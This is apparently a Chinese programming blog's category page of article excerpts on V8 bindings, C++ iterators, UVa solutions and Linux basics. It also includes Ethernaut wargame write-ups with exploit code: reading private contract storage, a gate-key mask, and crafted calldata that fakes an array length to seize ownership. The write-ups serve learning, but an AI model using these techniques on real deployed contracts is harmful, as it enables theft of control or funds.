夜间模式暗黑模式
字体
阴影
滤镜
圆角

Category: Computer Science

10 篇文章

thumbnail
JavaScript&C++ Interaction Based on V8 Engine
V8也是必须得过却不容易过的一道坎啊。 Data & Template V8中实现了JavaScript和C++之间数据和函数的相互调用。但是应当想到原生C++的数据类型和JavaScript中的数据类型还是很不一样的。这里V8相当于一个桥梁作用,提供了Value Class,在JavaScript和C++进行相互调用数据的时候就通过Value Class进行,比如说: Handle<Value> Add(const Arguments& args) { int a = args[0]->Uint32Value(); int b = args[1]->Uint32Value(); return Integer::New(a + b); } 对于JavaScript对象和函数来说,在V8中是通过两个模板类Template进行定义(并不是C++里的模板,别搞混了)。一个是对象模板ObjectTemplate,另一个是FunctionTemplate函数模板,分别定义JavaScript的对象和函数。通过这两个模板类也可以将C++中的对象和函数暴露给JavaScript脚本环境。 Interaction 对于变量相互调用来说,变量首先可以参照这样的方式来定义getter/setter: static char sname[512] = {0}; static Handle<Value> NameGetter(Local<String> name, const AccessorInfo& info) { return String::New((char*)&sname, strlen((char*)&sname)); } static void NameSetter(Local<String> name, Local<Value> value, const AccessorInfo& info) { Local<String> str = value->ToString(); str->WriteAscii((char*)&sname); } 然后要把它们注册到Global上: Handle<ObjectTemplate> global = ObjectTemplate::New(); // 为全局对象创建一个template global->SetAccessor(String::New("name"), NameGetter, NameSetter); // 把getter和setter注册到global中 对于函数来说也可以照猫画虎: // 在C++中 定义原型函数 Handle<Value> func(const Argument& args){ return xxx; } // 注册到global 公开给脚本环境 global->Set(String::New("func"), FunctionTemplate::New(func)); C++的类是个一言难尽的东西,相较于JavaScript这种动态性比较强的语言来说,实在是显得不太“方便灵活”。可以认为V8实现了一个任务,就是把复杂的C++对象封装好来给JavaScript使用。从这个角度来说,可以不用太过纠结于C++的繁杂语法,但也能享受到“系统语言级的效率”,同时也能继续享受JavaScript的灵活多变: // Example C++ class class Person { private: unsigned int age; char name[512]; public: Person(unsigned int age, char *name) { this->age = age; strncpy(this->name, name, sizeof(this->name)); } // getter unsigned int getAge() { return this->age; } // setter void setAge(unsigned int nage) { this->age = nage; } // getter char *getName() { return this->name; } // setter void setName(char *nname) { strncpy(this->name, nname, sizeof(this->name)); } } 上面就是一个简单的Person类实现了对应的getter和setter方法,对于包装来说,不仅需要对getter和setter进行包装,也要对构造函数进行包装: Handle<Value> PersonConstructor(const Argument& args){ Handle<Object> object = args.This(); HandleScope handle_scope; int age = args[0]->Uint32Value(); String::Utf8Value str(args[1]); char* name…
thumbnail
Ethernaut智能合约题目整理(三)
[github author="Endcat" project="Ethernaut-WriteUp"][/github] Privacy 0x01 Task pragma solidity ^0.4.18;​contract Privacy {​  bool public locked = true;  uint256 public constant ID = block.timestamp;  uint8 private flattening = 10;  uint8 private denomination = 255;  uint16 private awkwardness = uint16(now);  bytes32[3] private data;​  function Privacy(bytes32[3] _data) public {    data = _data; }    function unlock(bytes16 _key) public {    require(_key == bytes16(data[2]));    locked = false; }​  /*   A bunch of super advanced solidity algorithms...​     ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`     .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,     *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\     `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)     ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */} 0x02 Solution 先按照Vault题目的思路,把private的数据读出来: web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});// 0x000000000000000000000000000000000000000000000000000000fbbbff0a01web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});// 0x6f396091d021e1f8bcaa20b7ddee0f5d9a29812cba18da57c4f8d14cfa9db557web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});// 0x874250db8f2de50c3e45833b8b787acc995739a58c2fbee736b3e843f3f46bdbweb3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});// 0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577eweb3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});// 0x0000000000000000000000000000000000000000000000000000000000000000 每一个存储位是32个字节,根据Solidity的优化规则,当变量所占空间小于32字节时,会与后面的变量共享空间(如果加上后面的变量也不超过32字节的话) bool public locked = true 占 1 字节 -> 01uint8 private flattening = 10 占 1 字节 -> 0auint8 private denomination = 255 占 1 字节 -> ffuint16 private awkwardness = uint16(now) 占 2 字节 -> fbbb 对应第一个存储位fbbbff0a01 则解题需要的data[2]就应该在第四存储位0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e 注意有bytes16转换,取前16个字节即可 await contract.unlock("0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e") Re-entrancy 0x01 Task pragma…
thumbnail
Ethernaut智能合约题目整理(二)
[github author="Endcat" project="Ethernaut-WriteUp"][/github] Gatekeeper One 0x01 Task pragma solidity ^0.4.18;​contract GatekeeperOne {​  address public entrant;​  modifier gateOne() {    require(msg.sender != tx.origin);    _; }​  modifier gateTwo() {    require(msg.gas % 8191 == 0);    _; }​  modifier gateThree(bytes8 _gateKey) {    require(uint32(_gateKey) == uint16(_gateKey));    require(uint32(_gateKey) != uint64(_gateKey));    require(uint32(_gateKey) == uint16(tx.origin));    _; }​  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; }} 如何过三道门呢? 0x02 Solution gateOne() 利用之前做过的 Telephone 的知识,从第三方合约来调用 enter() 即可满足条件。 假设用户通过合约A调用合约B: 对于合约A:tx.origin和msg.sender都是用户对于合约B:tx.origin是用户,msg.sender是合约A的地址 gateTwo() 需要满足 msg.gas % 8191 == 0通过debug调试得到,等下再说。 gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。 require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); This means that the integer key, when converted into various byte sizes, need to fulfil the following properties: 0x11111111 == 0x1111, which is only possible if the value is masked by 0x0000FFFF0x1111111100001111 != 0x00001111, which is only possible if you keep the preceding values, with the mask 0xFFFFFFFF0000FFFF gateTwo() 需要满足 msg.gas % 8191 == 0 这里使用爆破的方法解决: contract Attack {​    address public instance_address =…
thumbnail
Ethernaut智能合约题目整理(一)
前言 最近在做一些智能合约的题目,觉得挺好玩。这里把必要的解题思路整理一下,相关markdown文档和exp已上传至github,欢迎查阅,共同学习!顺序是按照题目首字母的字母顺序排列的,可能和原关卡顺序不一样。 [github author="Endcat" project="Ethernaut-WriteUp"][/github] Alien Codex 0x01 Task pragma solidity ^0.4.24;​import 'zeppelin-solidity/contracts/ownership/Ownable.sol';​contract AlienCodex is Ownable {​  bool public contact;  bytes32[] public codex;​  modifier contacted() {    assert(contact);    _; }    function make_contact(bytes32[] _firstContactMessage) public {    assert(_firstContactMessage.length > 2**200);    contact = true; }​  function record(bytes32 _content) contacted public { codex.push(_content); }​  function retract() contacted public {    codex.length--; }​  function revise(uint i, bytes32 _content) contacted public {    codex[i] = _content; }} You've uncovered an Alien contract. Claim ownership to complete the level. 0x02 need2know AlienCodex是继承自Ownable合约的,而在Ownable合约中其实存在变量_owner,我们的目标就是要想办法把_owner改成自己的地址。 再看到AlienCodex合约里面,很多方法都添加了contacted修饰符,我们也应当把contact改成true。 看到make_contact函数,里面有把contact设置为true的操作,但是存在限制检查assert(_firstContactMessage.length > 2**200)。想了一下2^200基本上在内存中也装不下这么大的东西。 这里要知道:当您调用方法传递数组时,solidity不会根据实际有效负载对数组大小进行检查。 根据Contract ABI,并拿单变量函数make_contact(bytes32[] _firstContactMessage)举例,参数应当参照下面的结构: 4 bytes of a hash of the signature of the functionthe location of the data part of bytes32[]the length of the bytes32[] arraythe actual data. 接下来把他们都计算出来: web3.sha3('make_contact(bytes32[])') 0x1d3d4c0b6dd3cffa8438b3336ac6e7cd0df521df3bef5370f94efed6411c1a65 take first 4 bytes, so 0x1d3d4c0b our desired result. 偏移就是32bytes 0x0000000000000000000000000000000000000000000000000000000000000020 大于2^200的长度 0x1000000000000000000000000000000000000000000000000000000000000001 实际数据不用放。 sig = web3.sha3("make_contact(bytes32[])").slice(0,10)// "0x1d3d4c0b"data1 = "0000000000000000000000000000000000000000000000000000000000000020"// 除去函数选择器,数组长度的存储从第 0x20 位开始data2 = "1000000000000000000000000000000000000000000000000000000000000001"// 数组的长度await contract.contact()// falsecontract.sendTransaction({data: sig + data1 + data2});// 发送交易await contract.contact()// true contact被我们设置成true了以后,能用的函数就变多了。接下来要修改的是Ownable合约中其实存在变量_owner,但是看看源码好像没有相关的修改表达式,那就换个想法,从合约内部存储原理入手。 _owner被存储在合约的slot0上,而codex数组存储在slot1上。因为EVM的优化存储,并且地址类型占据20bytes,bool占据1byte,所以他们都能存储在一个大小为32bytes的slot中。EVM的存储位置计算规则,对于codex数组来说就是keccak256(bytes32(1)): SlotVariable0contact bool(1 bytes] & owner address (20 bytes), both fit on one…
thumbnail
C++迭代器
[toc] 迭代器类型 输入迭代器输出迭代器正向迭代器双向迭代器随机访问迭代器 将指针用作迭代器 迭代器是广义指针,而指针满足所有迭代器的要求 输出迭代器示例 引入头文件#include<iterator>out_iter 迭代器现在是一个接口,可以使用cout来显示信息 ostream_iterator 第一个模板参数(此处为int)指出了发送给输出流的数据类型,第二个模板参数(此处为char)指出了输出流使用的字符类型(另一个可能的值是wchar_t)。构造函数的第一个参数(此处为cout)指出了要使用的输出流,它也可以是用于文件输出的流;最后一个字符串参数是发送给输出流的每个数据项后面的分隔符。stl的copy()函数可以将一个容器复制到另一个容器,前两个参数是输入迭代器,最后一个参数是输出迭代器。copy()函数将覆盖目标容器的数据。也可以构建一个匿名迭代器copy(dice, dice + 6, ostream_iterator<int, char>(cout, "")); #include <iostream> #include<iterator> using namespace std; int main() { ostream_iterator<int, char> out_iter(cout, " "); int dice[] = { 1,2,3,4,5,6 }; copy(dice, dice + 6, out_iter); //output:1 2 3 4 5 6 copy(dice, dice + 6, ostream_iterator<int, char>(cout, " ")); //same output } 输入迭代器 copy(istream_iterator(cin), istream_iterator(), v.begin());istream_iterator第一个模板参数指出要读取的数据类型,第二个参数指出输入流使用的字符类型。使用构造函数参数cin意味着使用由cin管理的输入流,省略构造函数表示输入失败,因此上述代码从输入流读取,直到文件结尾、类型不匹配或出现其他输入故障为止。 reverse_iterator 对reverse_iterator的递增操作将导致它被递减vector的rbegin和rend成员提供了反向迭代的功能。前者返回一个指向超尾的反向迭代器,后者指向第一个元素的反向迭代器。 copy(v.begin(), v.end(), out_iter); //display forward copy(v.rbegin(), v.rend(), out_iter); //display in reverse order rbegin()和end()返回相同的值(超尾),但是它们的类型不同(reverse_iterator和iterator),对rend和begin()同理。对反向指针需要做一种特殊补偿,反向指针通过先递减,再解引用解决位置问题。 其他预定义迭代器 insert_iterator 没有限制front_insert_iterator 只能用于允许在起始位置做时间固定插入的容器类型。vector不能满足这种要求,但queue满足。back_insert_iterator 只能用于允许在尾部快速插入(O(1))的容器,vector符合这种要求。 可以使用insert_iterator<vector<int> >insert_iter(v, v.begin());来实现vector的首元素插入
thumbnail
UVa 1588 – Kickdown
[begin]给[/begin]定两串由数字1和2构成的序列,表示目标钢条厚度分布情况。求能切割出目标两串钢条的厚度为3的钢条的最小长度。有什么好说的?暴力模拟就行了。 //cpp #include<iostream> #include<cstring> using namespace std; int main(){ char s[105], t[105]; int len1, len2, len; while(cin>>s>>t){ int i, j, x, y; int len1 = strlen(s), len2 = strlen(t); for( i=0; i<len1; i++ ){ bool flag = true; for( j=0; j<len2 && j+i<len1 ; j++) if(s[i+j]=='2'&&t[j]=='2'){ flag = false; break; } if (flag) break; } x = max(len1, len2+i); i = j = 0; for( i=0; i<len2; i++){ bool flag = true; for( j=0; j<len1 && j+i<len2; j++ ) if(t[i+j]=='2'&&s[j]=='2'){ flag = false; break ; } if(flag) break; } y = max(len2, len1+i); cout<<min(x,y)<<endl; } return 0; }
thumbnail
Linux学习日记 Day_2
[toc] 今天大概来整理一下Linux的文件属性相关。 Linux中使用者、群组和其他人 非常重要的一点是,应该吧Linux系统看成是多用户多任务同时在线的一个组织。人一多起来了非常自然的就会想着去分组,就像社会现实中我们分小组活动一样。 使用者(User) 谁能被称作使用者呢?在Linux里面使用者和群组可以看成是一个很好的安全权限机制。如果我自己写了一篇文章不想被别人修改,那我可以对我自己的文件(我就是使用者,创造了这个文件)设置一些权限,让其他群组和其他人没有权限来修改我的文章。 群组(Group) 群组就是用来集体活动的啦!当然不同群组之间也不一定能够互通。使用者和群组可以将其抽象成一个树状图。许多的使用者构成了群组,而每一个独立群组也可以看成一个使用者一般。群组中的每一个人都有互相查看修改对方文件的权限。就像你和爸妈在一个客厅里看电视,电视是家庭所共用的。 其他人(Others) 其他人就可以想象成陌生人来敲门啦。一般其他人是没有权限进入你家房门来看电视的。这时候通过适当的权限设置让其他人进到家里来,这样其他人就有可以访问该群组文件的权力。当然对于群组中的每一个人还有各自的权限设置,那就得具体问题具体分析了。 上帝(Root) 当然我们有一个掌握规则的上帝,叫做Root。Root是所有黑客梦寐以求的东西,原因就是Root可以干任何事情。对,就是干任何事情,字面意思。 Linux的文件属性 察看文件的指令,相当于把文件属性给列举出来(List)。缩写ls就是一个查看文件的指令。在Terminal切换成root身份之后,执行ls -al列举出文件信息。举个例子: endcat@endcat:~$ ls -al total 84 drwxr-xr-x 15 endcat endcat 4096 1月 5 10:24 . drwxr-xr-x 3 root root 4096 12月 15 10:38 .. -rw------- 1 endcat endcat 263 1月 2 23:20 .bash_history -rw-r--r-- 1 endcat endcat 220 12月 15 10:38 .bash_logout -rw-r--r-- 1 endcat endcat 3771 12月 15 10:38 .bashrc drwx------ 16 endcat endcat 4096 12月 29 08:04 .cache drwx------ 13 endcat endcat 4096 12月 27 21:55 .config drwxr-xr-x 2 endcat endcat 4096 12月 27 21:46 Desktop drwxr-xr-x 2 endcat endcat 4096 1月 2 23:03 Documents …… 我们以其中一行进行拆分分析。 drwxr-xr-x 2 endcat endcat 4096 12月 27 21:46 Desktop 第一块-档案类型权限 第一段是记录是由短横线和字母组成的,把它叫做“档案类型权限”。细心数一下的话会发现有10个字符,每一个字符都代表了不同的意思。 第一个字符代表了文件类型。 [d] 表示文件夹(Directory)[-] 表示文件(File)[l] 表示链接文件(Link File)[b] 表示为设备文件里面可供储存的周边设备(可随机存取设备)[c] 表示为设备文件里面的序列埠设备,例如键盘鼠标(一次性读取设备)[s]表示数据接口文件(Socket),通常被用在网络上的数据承接。[p]表示数据输送档(FIFO,pipe),是一种特殊的文件类型,主要目的是解决多个程序同时存取一个文件所造成的错误问题。 在上面举的例子中, drwxr-xr-x的第一个字符是d,那么说明Desktop是一个文件夹(Directory)。 接下来的字符中,以三个为一组,且均为“rwx”的三个参数组合。其中 [r]表示可读(Read)[w]表示可写(Write)[x]表示可执行(Execute) 这三个权限的位置不会改变,如果没有权限就是以[-]短横线代替。 以三个为一组,共有三组,分别是 第一组为“文件拥有者可具备的权限”第二组为“加入此群组的账号的权限”、第三组为“非本人且没有加入本群组的其他账号的权限” 再回到我们之前的那个例子drwxr-xr-x,Desktop这个文件夹对于文件拥有者来说具有所有权限rwx,而对于同群组的人来说这个文件夹不可写,对于其他人(Others)来说也是一样的。 第二块-链接节点(i-node) 分析完了第一块的文件权限,看一下第二块的数字代表了什么意思。 drwxr-xr-x 2 endcat endcat 4096 12月 27 21:46 Desktop (还是这个例子) Linux中每个文件都会将它的权限与属性记录到文件系统的i-node中,不过,我们使用的目录树却是使用文件名来记录,因此每个文件名就会链接到一个i-node。这个属性记录的就是有多少不同的文件名链接到相同的一个i-node号码去就是了。i-node相关内容以后会详细整理一下。 第三块-拥有者 显然,Desktop这个文件夹是endcat的。 第四块-群组 第四块表示这个文件的所属群组。 第五块-文件容量大小 默认单位为Bytes。 第六块-文件创建日期或修改日期 这一栏的内容分别为日期(月/日)及时间。如果这个文件被修改的时间距离太久了,那么时间部只会显示年份而已。 如果想要显示完整的时间格式,可以利用ls的参数即“ls -l --full-time” 第七块-文件名 第七块为这个文件的文件名。 比较特殊的是,如果文件名前多了一个小点点“.”,表示这个文件为隐藏文件。可以使用“ls”,“ls -a”来体会一下什么是隐藏文件。 参考图片 如何修改权限设置 几个常用于群组、拥有者、各种身份的权限之修改的指令: chgrp:改变文件所属群组(change group)chown:改变文件拥有者(change owner)chmod:改变文件的权限,SUID,SGID,SBIT等等特性 chgrp-改变所属群组 请务必记得要被改变的群组名称必须要在/etc/group文件内存在才行,否则报错 chgrp:invaild group:'xxxxx' //发生错误,找不到该群组名 chown-改变文件拥有者 同样的,使用者必须是已经存在系统中的账号,也就是在/etc/passwd这个文件中有记录的使用者名称才能改变。对了chown也可以顺便修改所属群组。 语法范例: chown [-R] [Accounts(:group)/(.group)]…
thumbnail
UVa 1587 – Box
给定六个长方形的宽高,试问能否将其组成一个长方体。对于一个长方体来说有长宽高这三种属性,并且正对面全等。不妨设长宽高为abc(其中a>b>c),则六个面宽高情况一定为ab、ab、ac、ac、bc、bc。长宽格式固定,思路就立马出现了。 //cpp #include <bits/stdc++.h> using namespace std; struct face{ int x, y; }a[6]; bool check() { if(memcmp(a, a+1, sizeof(face)) || memcmp(a+2, a+3, sizeof(face)) || memcmp(a+4, a+5, sizeof(face))) return false; if(a[0].x!=a[2].x || a[0].y!= a[4].x || a[2].y!=a[4].y) return false; return true; } int main() { while(cin >> a[0].x >> a[0].y >> a[1].x >> a[1].y >> a[2].x >> a[2].y >> a[3].x >> a[3].y >> a[4].x >> a[4].y >> a[5].x >> a[5].y){ for(int i = 0; i < 6; ++i) if(a[i].x < a[i].y) swap(a[i].x, a[i].y); sort(a, a+6, [](const face a, const face b) {return a.x==b.x ? (a.y > b.y) : (a.x > b.x);}); printf("%s\n", check() ? "POSSIBLE" : "IMPOSSIBLE"); } return 0; }
thumbnail
Linux学习日记 Day_1
目前为止个人很推荐鸟哥写的Linux入门指南,有繁体中文版全文可供检索。 http://linux.vbird.org/new_linux.php 在序章详细讲述了很多关于Linux的历史,在使用Ubuntu的过程中一些看不懂的缩写词,在其中也得到答案(看看以往的历史发展也是一件很有趣的事情) 开机流程的检测程序 这更多是计算机概论的知识。我们都知道BIOS是写入到主板上的一个固件(固件就是写入到硬件上的一个软件程序),BIOS在开机的时候是计算机系统会主动执行的一个程序。这还不是我们熟知的操作系统阶段。接下来BIOS会去分析计算机里有哪些存储设备。以硬盘为例,BIOS会根据使用者的设置去取得能够开机的硬盘,并且到硬盘里读取第一个扇区中的MBR位置。 什么是MBR呢? 主引导记录(MBR,Main Boot Record)是位于磁盘最前边的一段引导(Loader)代码。它负责磁盘操作系统(DOS - Disk Operation System)对磁盘进行读写时分区合法性的判别、分区引导信息的定位,它由DOS在对硬盘进行初始化时产生的。 MBR这个仅有446Bytes的硬盘容量里会放置最基本的开机管理程序,此时BIOS做完了它该做的事情,接下来就是MBR内的开机管理程序的工作了。 开机管理程序目的是在载入核心文件,这是在安装操作系统时候提供的,所以它会认识硬盘里面的文件系统格式,因此就能够读取系统核心文件。此时Loader的工作也做完,接下来就是我们熟知的操作系统的工作啦。 总结一下开机到操作系统的流程: BIOS:开机主动执行的固件,识别第一个可开机的设备;MBR:第一个可开机设备中第一个扇区内主要开机记录块,内置Loader;Loader:一个可读取核心文件来执行的软件;核心文件:开始使用操作系统; 我们可以在一个电脑里实现多系统,在开机时可以选择系统进入。这是因为MBR也可以有将开机管理功能转交给其他Loader负责,开机管理程序除了可以安装在MBR之外,还可以安装在每个分区的开机扇区(Boot sector)中。这个特色造就了“多重开机”的功能。 如果要在个人电脑里安装Linux和Windows双系统,建议是先安装Windows再安装Linux,这是为什么呢?Windows在安装的时候,它的安装程序会主动覆盖掉MBR以及自己所在分区的开机扇区,安装过程中它是没有供我们选择的选项。而Linux则不同,Linux的Loader可以手动设置菜单,所以可以在Linux的Boot Loader里面加入Windows的开机选项。 UEFI BIOS搭配GPT的开机流程 解释一下名词,看不懂缩写不应该成为阻碍学习进程的障碍。 什么是GPT? GUID磁盘分区表(GUIDPartition Table,缩写:GPT)是一个实体硬盘的分区表的结构布局的标准。它是可扩展固件接口(EFI)标准(被Intel用于替代个人计算机的BIOS)的一部分,被用于替代BIOS系统中的一个扇区来存储逻辑块地址和大小信息的主开机纪录(MBR)分区表。对于那些扇区为512字节的磁盘,MBR分区表不支持容量大于1TB(1 × 10^12字节)的分区,然而,一些硬盘制造商(诸如希捷和西部数据)注意到了这个局限性,并且将他们的容量较大的磁盘升级到了4KB的扇区,这意味着MBR的有效容量上限提升到了16 TB。 这个看似“正确的”解决方案,在临时地降低了人们对改进磁盘分配表的需求的同时,也给市场带来了关于在有较大的块(block)的设备上从BIOS启动时,如何最佳的划分磁盘分区的困惑。GPT分配64bits给逻辑块地址,因而使得最大分区大小在2^64-1个扇区成为了可能。对于每个扇区大小为512字节的磁盘,那意味着可以有9.4ZB(9.4 x 10^21字节)或18 E 个512字节(9,444,732,965,739,290,426,880字节 或 18,446,744,073,709,551,615(2^64-1)个扇区 x 512(=2^9)字节每扇区)。https://baike.baidu.com/item/GPT/15413476 前面讲到的MBR也是一种磁盘分区表格式,GPT和MBR之间的简单差别就是MBR“太小了”,GPT“能提供更大的”。因为一开始BIOS和MBR是一对好兄弟,但是BIOS不认识GPT了,所以为了要认识GPT,就有了UEFI。 什么是UEFI呢? 新型UEFI,全称“统一的可扩展固件接口”(Unified Extensible Firmware Interface), 是一种详细描述类型接口的标准。这种接口用于操作系统自动从预启动的操作环境,加载到一种操作系统上。可扩展固件接口(Extensible Firmware Interface,EFI)是 Intel 为 PC 固件的体系结构、接口和服务提出的建议标准。其主要目的是为了提供一组在 OS 加载之前(启动前)在所有平台上一致的、正确指定的启动服务,被看做是有近20多年历史的 BIOS 的继任者。 https://baike.baidu.com/item/UEFI/3556240 简而言之,UEFI要取代BIOS。而UEFI甚至可以被看成是一个小型的操作系统。为什么呢?UEFI使用C语言编程,比起使用组合语言的传统BIOS更容易开发。只要开发者够厉害,可以在UEFI阶段就可以实现上网,从而根本不用进入操作系统!
thumbnail
UVa 202 – Repeating Decimals
如何判定两个自然数除得有理小数的循环节及其长度?我们可以通过模拟人工笔算除法的过程发现其内在的规律。对于一般的除数m,除法运算后所得余数情况至多有m-1种。根据抽屉原理,必然会有循环节的出现。我们要做的就是记录每一步的运算情况,就像自己手算除法一样,并从中判断余数重复,进而问题得解。 //cpp #include "pch.h" #include <iostream> #include <cstdlib> #include <cstring> #include <cstdio> #define MAXLEN 3003 using namespace std; int ans[MAXLEN], sign[MAXLEN], remain[MAXLEN]; int main() { int n, m, temp; while (cin >> n >> m) // n为被除数,m为除数 { // 初始化 temp = n; memset(ans, 0, sizeof(ans)); memset(sign, 0, sizeof(sign)); int count = 0; // 整数部分除法运算 ans[count++] = n / m; n %= m; // 小数部分除法运算 // ans数组用来存储每一位商 // sign数组用来标记m-1种余数的出现情况 // s数组用来记录每一步的余数 // 若余数没有重复(!sign[n])并且没有将n除尽,则继续除法运算 while (!sign[n] && n) { sign[n] = count; remain[count] = n; ans[count++] = 10 * n / m; n = 10 * n % m; } // 输出整数部分 printf("%d/%d = %d", temp, m, ans[0]); printf("."); for (int i = 1; i < count && i <= 50; ++i) { // 判断何时开始循环 输出括号 if (n && remain[i] == n) printf("("); printf("%d", ans[i]); } // 除尽特判 if (!n) printf("(0"); if (count > 50) printf("..."); printf(")\n"); printf(" %d = number of digits in repeating cycle\n\n", !n ? 1 : count - sign[n]); } return 0; }